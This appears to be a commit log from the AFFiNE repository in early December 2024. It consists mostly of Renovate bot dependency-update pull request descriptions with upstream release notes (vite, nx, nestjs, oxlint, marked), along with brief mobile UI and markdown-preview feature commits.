-   **config:** lazy load transformers ([d82bc57](d82bc57d3d)), closes [#&#8203;194](https://gitlab.com/html-validate/html-validate/issues/194)

</details>

<details>
<summary>markedjs/marked (marked)</summary>

### [`v15.0.3`](https://redirect.github.com/markedjs/marked/releases/tag/v15.0.3)

[Compare Source](https://redirect.github.com/markedjs/marked/compare/v15.0.2...v15.0.3)

##### Bug Fixes

-   update punctuation regex syntax to fix babel mistaken transpile ([#&#8203;3547](https://redirect.github.com/markedjs/marked/issues/3547)) ([9b988c4](9b988c47bd))

</details>

<details>
<summary>napi-rs/napi-rs (napi)</summary>

### [`v3.0.0-alpha.21`](https://redirect.github.com/napi-rs/napi-rs/releases/tag/napi%403.0.0-alpha.21)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/napi@3.0.0-alpha.20...napi@3.0.0-alpha.21)

#### What's Changed

-   feat(napi): allow us to create nest function from closure by [@&#8203;richerfu](https://redirect.github.com/richerfu) in [https://github.com/napi-rs/napi-rs/pull/2360](https://redirect.github.com/napi-rs/napi-rs/pull/2360)
-   feat(napi): implement `ValidateNapiValue` for HashMap with any hasher by [@&#8203;sapphi-red](https://redirect.github.com/sapphi-red) in [https://github.com/napi-rs/napi-rs/pull/2374](https://redirect.github.com/napi-rs/napi-rs/pull/2374)
-   feat(napi): implement `ValidateNapiValue` for HashSet with any hasher by [@&#8203;sapphi-red](https://redirect.github.com/sapphi-red) in [https://github.com/napi-rs/napi-rs/pull/2377](https://redirect.github.com/napi-rs/napi-rs/pull/2377)

**Full Changelog**: https://github.com/napi-rs/napi-rs/compare/napi@3.0.0-alpha.20...napi@3.0.0-alpha.21

</details>

<details>
<summary>nrwl/nx (nx)</summary>

### [`v20.1.4`](https://redirect.github.com/nrwl/nx/releases/tag/20.1.4)

[Compare Source](https://redirect.github.com/nrwl/nx/compare/20.1.3...20.1.4)

#### 20.1.4 (2024-11-28)

##### 🚀 Features

-   **misc:** replace tutorials with social links in create-nx-workspace ([#&#8203;29085](https://redirect.github.com/nrwl/nx/pull/29085))
-   **nx-dev:** update top-level navbar ([0f330590b7](https://redirect.github.com/nrwl/nx/commit/0f330590b7))

##### 🩹 Fixes

-   **angular:** ngrx-root-store generator check ngModule path ([#&#8203;29068](https://redirect.github.com/nrwl/nx/pull/29068))
-   **core:** don't generate nxCloudId if running nx connect through nx console ([#&#8203;29060](https://redirect.github.com/nrwl/nx/pull/29060))
-   **core:** update to the async version of getting powerpack information ([#&#8203;29088](https://redirect.github.com/nrwl/nx/pull/29088))
-   **misc:** update artifact generator option descriptions and cleanup leftovers ([#&#8203;29077](https://redirect.github.com/nrwl/nx/pull/29077))
-   **module-federation:** use 'hoisted' runtime for node to prevent issues with eager sharing ([#&#8203;29104](https://redirect.github.com/nrwl/nx/pull/29104))
-   **nest:** Fix generators (guard, interceptor etc...) path to not duplicate when provided ([#&#8203;29084](https://redirect.github.com/nrwl/nx/pull/29084))
-   **nest:** update project config to enable artifacts to be built as dev ([#&#8203;29110](https://redirect.github.com/nrwl/nx/pull/29110))
-   **nextjs:** ensure next apps config is correctly checked when using jest ([#&#8203;29066](https://redirect.github.com/nrwl/nx/pull/29066))
-   **nextjs:** Add support for next.config.ts for executors ([#&#8203;29071](https://redirect.github.com/nrwl/nx/pull/29071))

##### ❤️ Thank You

-   Colum Ferry [@&#8203;Coly010](https://redirect.github.com/Coly010)
-   Jason Jean [@&#8203;FrozenPandaz](https://redirect.github.com/FrozenPandaz)
-   Juri [@&#8203;juristr](https://redirect.github.com/juristr)
-   Leosvel Pérez Espinosa [@&#8203;leosvelperez](https://redirect.github.com/leosvelperez)
-   MaxKless [@&#8203;MaxKless](https://redirect.github.com/MaxKless)
-   Nicholas Cunningham [@&#8203;ndcunningham](https://redirect.github.com/ndcunningham)

</details>

<details>
<summary>openai/openai-node (openai)</summary>

### [`v4.74.0`](https://redirect.github.com/openai/openai-node/blob/HEAD/CHANGELOG.md#4740-2024-12-02)

[Compare Source](https://redirect.github.com/openai/openai-node/compare/v4.73.1...v4.74.0)

Full Changelog: [v4.73.1...v4.74.0](https://redirect.github.com/openai/openai-node/compare/v4.73.1...v4.74.0)

##### Features

-   **internal:** make git install file structure match npm ([#&#8203;1204](https://redirect.github.com/openai/openai-node/issues/1204)) ([e7c4c6d](e7c4c6d23a))

</details>

<details>
<summary>gpbl/react-day-picker (react-day-picker)</summary>

### [`v9.4.1`](https://redirect.github.com/gpbl/react-day-picker/releases/tag/v9.4.1)

[Compare Source](https://redirect.github.com/gpbl/react-day-picker/compare/v9.4.0...v9.4.1)

This release improves support for screen readers and fixes a VoiceOver issue when navigating the calendar.

#### What's Changed

-   fix(a11y): improve screen reader and VoiceOver support by [@&#8203;gpbl](https://redirect.github.com/gpbl) in [https://github.com/gpbl/react-day-picker/pull/2609](https://redirect.github.com/gpbl/react-day-picker/pull/2609)
-   feat(a11y): added `role` and `aria-label` props by [@&#8203;gpbl](https://redirect.github.com/gpbl) in [https://github.com/gpbl/react-day-picker/pull/2609](https://redirect.github.com/gpbl/react-day-picker/pull/2609)
-   chore(style): remove unused CSS variable by [@&#8203;gpbl](https://redirect.github.com/gpbl) in [https://github.com/gpbl/react-day-picker/pull/2610](https://redirect.github.com/gpbl/react-day-picker/pull/2610)
-   chore: use callbacks for dropdown event handlers by [@&#8203;gpbl](https://redirect.github.com/gpbl) in [https://github.com/gpbl/react-day-picker/pull/2602](https://redirect.github.com/gpbl/react-day-picker/pull/2602)

**Full Changelog**: https://github.com/gpbl/react-day-picker/compare/v9.4.0...v9.4.1

</details>

<details>
<summary>i18next/react-i18next (react-i18next)</summary>

### [`v15.1.3`](https://redirect.github.com/i18next/react-i18next/blob/HEAD/CHANGELOG.md#1513)

[Compare Source](https://redirect.github.com/i18next/react-i18next/compare/v15.1.2...v15.1.3)

-   fix: Self-closing REACT components in translation strings should not attempt to replace the component's children [1815](https://redirect.github.com/i18next/react-i18next/issues/1815) [1816](https://redirect.github.com/i18next/react-i18next/pull/1816)

</details>

<details>
<summary>petyosi/react-virtuoso (react-virtuoso)</summary>

### [`v4.12.3`](https://redirect.github.com/petyosi/react-virtuoso/releases/tag/v4.12.3)

[Compare Source](https://redirect.github.com/petyosi/react-virtuoso/compare/v4.12.2...v4.12.3)

##### Bug Fixes

-   **gridSystem.ts:** call onEndReached when the data is less than cont… ([#&#8203;1166](https://redirect.github.com/petyosi/react-virtuoso/issues/1166)) ([7a80ea2](7a80ea20b1))

</details>

<details>
<summary>tinylibs/tinybench (tinybench)</summary>

### [`v3.0.7`](https://redirect.github.com/tinylibs/tinybench/releases/tag/v3.0.7)

[Compare Source](https://redirect.github.com/tinylibs/tinybench/compare/v3.0.6...v3.0.7)

#####    🐞 Bug Fixes

-   Do not allow task override by name  -  by [@&#8203;jerome-benoit](https://redirect.github.com/jerome-benoit) in [https://github.com/tinylibs/tinybench/issues/197](https://redirect.github.com/tinylibs/tinybench/issues/197) [<samp>(b40fe)</samp>](https://redirect.github.com/tinylibs/tinybench/commit/b40fedb)

#####     [View changes on GitHub](https://redirect.github.com/tinylibs/tinybench/compare/v3.0.6...v3.0.7)

</details>

<details>
<summary>TypeStrong/TypeDoc (typedoc)</summary>

### [`v0.27.2`](https://redirect.github.com/TypeStrong/TypeDoc/blob/HEAD/CHANGELOG.md#v0272-2024-11-29)

[Compare Source](https://redirect.github.com/TypeStrong/TypeDoc/compare/v0.27.1...v0.27.2)

##### Bug Fixes

-   Fix crash with TypeScript 5.5.x, [#&#8203;2789](https://redirect.github.com/TypeStrong/TypeDoc/issues/2789).

</details>

<details>
<summary>vitejs/vite (vite)</summary>

### [`v6.0.2`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small602-2024-12-02-small)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.1...v6.0.2)

-   chore: run typecheck in unit tests ([#&#8203;18858](https://redirect.github.com/vitejs/vite/issues/18858)) ([49f20bb](49f20bb777)), closes [#&#8203;18858](https://redirect.github.com/vitejs/vite/issues/18858)
-   chore: update broken links in changelog ([#&#8203;18802](https://redirect.github.com/vitejs/vite/issues/18802)) ([cb754f8](cb754f8acc)), closes [#&#8203;18802](https://redirect.github.com/vitejs/vite/issues/18802)
-   chore: update broken links in changelog ([#&#8203;18804](https://redirect.github.com/vitejs/vite/issues/18804)) ([47ec49f](47ec49ffa1)), closes [#&#8203;18804](https://redirect.github.com/vitejs/vite/issues/18804)
-   fix: don't store temporary vite config file in `node_modules` if deno ([#&#8203;18823](https://redirect.github.com/vitejs/vite/issues/18823)) ([a20267b](a20267bb93)), closes [#&#8203;18823](https://redirect.github.com/vitejs/vite/issues/18823)
-   fix(css): referencing aliased svg asset with lightningcss enabled errored ([#&#8203;18819](https://redirect.github.com/vitejs/vite/issues/18819)) ([ae68958](ae68958691)), closes [#&#8203;18819](https://redirect.github.com/vitejs/vite/issues/18819)
-   fix(manifest): use `style.css` as a key for the style file for `cssCodesplit: false` ([#&#8203;18820](https://redirect.github.com/vitejs/vite/issues/18820)) ([ec51115](ec51115255)), closes [#&#8203;18820](https://redirect.github.com/vitejs/vite/issues/18820)
-   fix(optimizer): resolve all promises when cancelled ([#&#8203;18826](https://redirect.github.com/vitejs/vite/issues/18826)) ([d6e6194](d6e6194706)), closes [#&#8203;18826](https://redirect.github.com/vitejs/vite/issues/18826)
-   fix(resolve): don't set builtinModules to `external` by default ([#&#8203;18821](https://redirect.github.com/vitejs/vite/issues/18821)) ([2250ffa](2250ffac62)), closes [#&#8203;18821](https://redirect.github.com/vitejs/vite/issues/18821)
-   fix(ssr): set `ssr.target: 'webworker'` defaults as fallback ([#&#8203;18827](https://redirect.github.com/vitejs/vite/issues/18827)) ([b39e696](b39e69638b)), closes [#&#8203;18827](https://redirect.github.com/vitejs/vite/issues/18827)
-   feat(css): format lightningcss error ([#&#8203;18818](https://redirect.github.com/vitejs/vite/issues/18818)) ([dac7992](dac7992e87)), closes [#&#8203;18818](https://redirect.github.com/vitejs/vite/issues/18818)
-   refactor: make properties of ResolvedServerOptions and ResolvedPreviewOptions required ([#&#8203;18796](https://redirect.github.com/vitejs/vite/issues/18796)) ([51a5569](51a5569e66)), closes [#&#8203;18796](https://redirect.github.com/vitejs/vite/issues/18796)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuNDIuNCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-03 06:31:13 +00:00
renovate
c362275f06 chore: bump up @blocksuite/icons version to v2.1.73 (#8980)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/icons](https://redirect.github.com/toeverything/icons) | [`2.1.72` -> `2.1.73`](https://renovatebot.com/diffs/npm/@blocksuite%2ficons/2.1.72/2.1.73) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2ficons/2.1.73?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2ficons/2.1.73?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2ficons/2.1.72/2.1.73?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2ficons/2.1.72/2.1.73?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/icons (@&#8203;blocksuite/icons)</summary>

### [`v2.1.73`](6911f7ed84...ddeb030e72)

[Compare Source](6911f7ed84...ddeb030e72)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-03 06:14:41 +00:00
EYHN
8963826463 feat(core): desktop multiple server support (#8979) 2024-12-03 05:51:09 +00:00
pengx17
af81c95b85 fix(mobile): workaround for tag modal blink (#8985)
workaround for fix AF-1822
2024-12-03 02:08:32 +00:00
pengx17
671885d510 fix(mobile): property input field keyboard mode (#8982) 2024-12-03 01:52:00 +00:00
ZHAO Jin-Xiang
6873a947fa chore: add electronZipDir env which helps to offline build (#8983) 2024-12-02 21:55:45 +08:00
pengx17
31bab2507e feat: enhance markdown preview for backlinks (#8956)
fix AF-1770
fix AF-1771

---

fix: doc link middlewares
feat: markdown renderer
feat: allow multiple backlink for a single doc
feat: showing correct doc ref link
feat: trim long para & ident lists
feat: list indentition fix
feat: database/latext handling
feat: other block types handling
fix: lint
2024-12-02 10:29:44 +00:00
CatsJuice
b8467a91b8 fix(mobile): swipe right maybe open menu (#8981) 2024-12-02 09:40:33 +00:00
CatsJuice
4744896031 feat(mobile): a basic swipeable dialog for setting (#8923)
![CleanShot 2024-12-02 at 15.42.42.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/0a6e5700-dd25-4f36-824a-434603e01379.gif)
2024-12-02 08:42:02 +00:00
CatsJuice
9b4cd83a07 feat(mobile): show doc title on title bar when scroll down (#8976) 2024-12-02 06:00:31 +00:00
EYHN
84210dd197 fix(infra): fix fractional indexing edge cases (#8978) 2024-12-02 05:31:07 +00:00
EYHN
cee5d02f71 feat(core): add markdown preview for backlinks (#8883) 2024-12-02 03:42:07 +00:00
CatsJuice
11b453f4d8 feat(mobile): swipe to open menu for explorer (#8953)
close AF-1803

- bump theme
- extract `SwipeHelper` and add `speed`, `direction` detection support
- new mobile `SwipeMenu` component
- integrate `SwipeMenu` to open a menu in Explorer
- New `Haptics` module for mobile, implemented in `ios` and `mobile`(`navigator.vibrate()`)

![CleanShot 2024-11-28 at 12.25.14.gif](https://graphite-user-uploaded-assets-prod.s3.amazonaws.com/LakojjjzZNf6ogjOVwKE/cba36660-f38a-473b-b85c-33540a406835.gif)
2024-12-02 03:27:01 +00:00
CatsJuice
b600f2b0a2 fix(mobile): adjust body padding-bottom for app tab (#8944) 2024-12-02 03:11:09 +00:00
CatsJuice
6a71b28a61 feat(mobile): replace search with create in app tab (#8934)
- Remove search on AppTab, replaced with `create doc`
- Always show AppTab for editor page
- Extract `NavigationBack` from `PageHeader`
2024-12-02 02:55:04 +00:00
CatsJuice
5e92d6cfe9 fix(mobile): prevent text selection on webkit (#8967)
close AF-1804
2024-12-02 02:39:01 +00:00
CatsJuice
476ed0ef56 chore(mobile): update explorer add item icon (#8969) 2024-12-02 02:21:59 +00:00
CatsJuice
372dbf5ec8 feat(mobile): move journal date picker into page header (#8968) 2024-12-02 02:05:05 +00:00
renovate
1c9bd204cd chore: bump up @blocksuite/icons version to v2.1.72 (#8970)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@blocksuite/icons](https://redirect.github.com/toeverything/icons) | [`2.1.71` -> `2.1.72`](https://renovatebot.com/diffs/npm/@blocksuite%2ficons/2.1.71/2.1.72) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@blocksuite%2ficons/2.1.72?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@blocksuite%2ficons/2.1.72?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@blocksuite%2ficons/2.1.71/2.1.72?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@blocksuite%2ficons/2.1.71/2.1.72?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>toeverything/icons (@&#8203;blocksuite/icons)</summary>

### [`v2.1.72`](c3f744f102...6911f7ed84)

[Compare Source](c3f744f102...6911f7ed84)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-02 01:47:02 +00:00
renovate
d9dd07d113 chore: bump up oxlint version to v0.14.0 (#8889)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.13.2` -> `0.14.0`](https://renovatebot.com/diffs/npm/oxlint/0.13.2/0.14.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.13.2/0.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.13.2/0.14.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.14.0`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#0140---2024-12-01)

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.13.2...oxlint_v0.14.0)

##### Features

-   [`32f860d`](https://redirect.github.com/oxc-project/oxc/commit/32f860d) linter: Add support for ignorePatterns property within config file ([#&#8203;7092](https://redirect.github.com/oxc-project/oxc/issues/7092)) (Nicholas Rayburn)

##### Documentation

-   [`a6b0100`](https://redirect.github.com/oxc-project/oxc/commit/a6b0100) linter: Fix config example headings ([#&#8203;7562](https://redirect.github.com/oxc-project/oxc/issues/7562)) (Boshen)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xOS4wIiwidXBkYXRlZEluVmVyIjoiMzkuMTkuMCIsInRhcmdldEJyYW5jaCI6ImNhbmFyeSIsImxhYmVscyI6WyJkZXBlbmRlbmNpZXMiXX0=-->
2024-12-02 01:29:31 +00:00
renovate
c53c0939fa chore: bump up nestjs to v10.4.12 (#8972)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@nestjs/common](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common)) | [`10.4.11` -> `10.4.12`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/10.4.11/10.4.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcommon/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcommon/10.4.11/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/10.4.11/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/core](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core)) | [`10.4.11` -> `10.4.12`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/10.4.11/10.4.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fcore/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fcore/10.4.11/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/10.4.11/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-express](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express)) | [`10.4.11` -> `10.4.12`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/10.4.11/10.4.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-express/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-express/10.4.11/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/10.4.11/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/platform-socket.io](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io)) | [`10.4.11` -> `10.4.12`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/10.4.11/10.4.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-socket.io/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fplatform-socket.io/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fplatform-socket.io/10.4.11/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-socket.io/10.4.11/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/testing](https://nestjs.com) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/testing)) | [`10.4.11` -> `10.4.12`](https://renovatebot.com/diffs/npm/@nestjs%2ftesting/10.4.11/10.4.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2ftesting/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2ftesting/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2ftesting/10.4.11/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2ftesting/10.4.11/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [@nestjs/websockets](https://redirect.github.com/nestjs/nest) ([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets)) | [`10.4.11` -> `10.4.12`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/10.4.11/10.4.12) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fwebsockets/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@nestjs%2fwebsockets/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@nestjs%2fwebsockets/10.4.11/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fwebsockets/10.4.11/10.4.12?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

### [`v10.4.12`](https://redirect.github.com/nestjs/nest/compare/v10.4.11...cf8d27c2f3fb1731785ad7a2ce0447889435f6a3)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.11...v10.4.12)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/core)</summary>

### [`v10.4.12`](https://redirect.github.com/nestjs/nest/compare/v10.4.11...cf8d27c2f3fb1731785ad7a2ce0447889435f6a3)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.11...v10.4.12)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-express)</summary>

### [`v10.4.12`](https://redirect.github.com/nestjs/nest/compare/v10.4.11...cf8d27c2f3fb1731785ad7a2ce0447889435f6a3)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.11...v10.4.12)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-socket.io)</summary>

### [`v10.4.12`](https://redirect.github.com/nestjs/nest/releases/tag/v10.4.12)

[Compare Source](https://redirect.github.com/nestjs/nest/compare/v10.4.11...v10.4.12)

##### v10.4.12 (2024-11-29)

##### Bug fixes

-   `common`
    -   [#&#8203;14241](https://redirect.github.com/nestjs/nest/pull/14241) fix(common): enforce string type in validationpipe ([@&#8203;LhonRafaat](https://redirect.github.com/LhonRafaat))

##### Dependencies

-   Other
    -   [#&#8203;14243](https://redirect.github.com/nestjs/nest/pull/14243) chore(deps): update dependency [@&#8203;types/node](https://redirect.github.com/types/node) to v20.17.9 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;14240](https://redirect.github.com/nestjs/nest/pull/14240) chore(deps): update dependency [@&#8203;types/multer](https://redirect.github.com/types/multer) to v1.4.12 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;14239](https://redirect.github.com/nestjs/nest/pull/14239) chore(deps): update dependency [@&#8203;types/chai](https://redirect.github.com/types/chai) to v4.3.20 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;14237](https://redirect.github.com/nestjs/nest/pull/14237) chore(deps): update confluentinc/cp-zookeeper docker tag to v7.7.2 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;14236](https://redirect.github.com/nestjs/nest/pull/14236) chore(deps): update confluentinc/cp-kafka docker tag to v7.7.2 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;12253](https://redirect.github.com/nestjs/nest/pull/12253) fix(deps): update apollo graphql packages ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;14235](https://redirect.github.com/nestjs/nest/pull/14235) chore(deps-dev): bump [@&#8203;commitlint/config-angular](https://redirect.github.com/commitlint/config-angular) from 19.5.0 to 19.6.0 ([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
    -   [#&#8203;14233](https://redirect.github.com/nestjs/nest/pull/14233) chore(deps): update nest monorepo ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;14232](https://redirect.github.com/nestjs/nest/pull/14232) fix(deps): update dependency path-to-regexp to v3.3.0 \[security] ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
    -   [#&#8203;14229](https://redirect.github.com/nestjs/nest/pull/14229) chore(deps): update mongo docker tag to v8 ([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))
